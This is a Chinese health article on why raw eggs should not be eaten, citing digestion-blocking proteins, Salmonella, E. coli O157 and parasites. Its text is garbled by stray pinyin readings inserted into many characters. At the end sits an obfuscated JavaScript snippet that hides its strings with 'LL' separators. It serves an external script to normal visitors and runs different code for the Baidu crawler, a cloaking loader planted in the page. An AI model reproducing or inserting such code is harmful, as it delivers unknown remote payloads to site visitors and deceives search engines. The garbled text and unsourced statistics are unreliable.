當(dāng)前位置:首頁(yè) > 飲食 > 食物營(yíng)養(yǎng) > 正文

生吃雞蛋有什么作用呢

2017-07-07 12:16:05  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):其實(shí)很多人會(huì)認(rèn)為生吃雞蛋的話,可以更好地吸收,其中所含有的營(yíng)養(yǎng)物質(zhì),對(duì)身體保健可以發(fā)揮很好的效果,但事實(shí)上希望大家能夠注意,生吃雞

其實(shí)很多人會(huì)認(rèn)為生吃雞蛋的話,可以更好地吸收,其中所含有的營(yíng)養(yǎng)物質(zhì),對(duì)身體保健可以發(fā)揮很好的效果,但事實(shí)上希望大家能夠注意,生吃雞蛋也存在一些弊端,因?yàn)樯u蛋中會(huì)含有一些對(duì)人體不利的有害物質(zhì),所以大家想要生吃雞蛋的話,那么下面所介紹的幾個(gè)問(wèn)題一定要注意考慮到。

有些人認(rèn)為生吃雞蛋可以獲得最佳營(yíng)養(yǎng)。其實(shí),吃生雞壞處多多,對(duì)人的健康是十分有害的. 生雞蛋中含有抗酶蛋白和抗生物蛋白。前者阻礙人體腸胃中的蛋白酶與蛋白質(zhì)接觸,影響蛋白質(zhì)的消化、吸收。后者能與食物中的生物素結(jié)合,形成人體無(wú)法吸收的物質(zhì)。但是上述兩種存在于生雞蛋中的有害物質(zhì),一經(jīng)蒸煮就被破壞,不再影響人體對(duì)營(yíng)養(yǎng)素的吸收。

生雞蛋的蛋白質(zhì)結(jié)構(gòu)致密,胃腸里的消化酶難以接觸,因而不容易被消化吸收。而煮熟了的雞蛋蛋白質(zhì)的結(jié)構(gòu)變得松軟,容易被人體消化吸收。 大約10%的鮮蛋帶有致病菌、霉菌或寄生蟲(chóng)卵。有的家長(zhǎng)用開(kāi)水沖雞蛋加糖給孩子喝,由于雞蛋中的病菌和寄生蟲(chóng)卵不能完全殺死,容易引腹瀉和寄生蟲(chóng)病。如蛋中有沙門氏菌,還會(huì)引起食物中毒。

新近發(fā)現(xiàn),雞蛋殼上可能帶有0—157腸出血性大腸桿菌,即使菌量極少,如果生雞蛋,也足以引起食物中毒。民間有人用吃生雞蛋的方法來(lái)治療小兒便秘,既治不了便秘,還會(huì)傳染人畜共患的弓形蟲(chóng)病。這種病發(fā)病較急,全身各器官幾乎均受到弓形蟲(chóng)的侵犯引起病變,嚴(yán)重者還會(huì)導(dǎo)致死亡。 因此,雞蛋一定要煮熟吃,以吃蒸蛋最好,不宜用開(kāi)水沖雞蛋,更不能吃生雞蛋。

任何健康的食物,想要更好的發(fā)揮它的營(yíng)養(yǎng)保健功效,那么飲食方式問(wèn)題大家絕對(duì)不可忽視,因?yàn)轱嬍撤椒ㄈ绻徽_的話,卻有可能會(huì)在無(wú)形當(dāng)中,給我們的健康產(chǎn)生不利的影響,所以不管吃什么食物,這些常識(shí)問(wèn)題大家必須注重。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}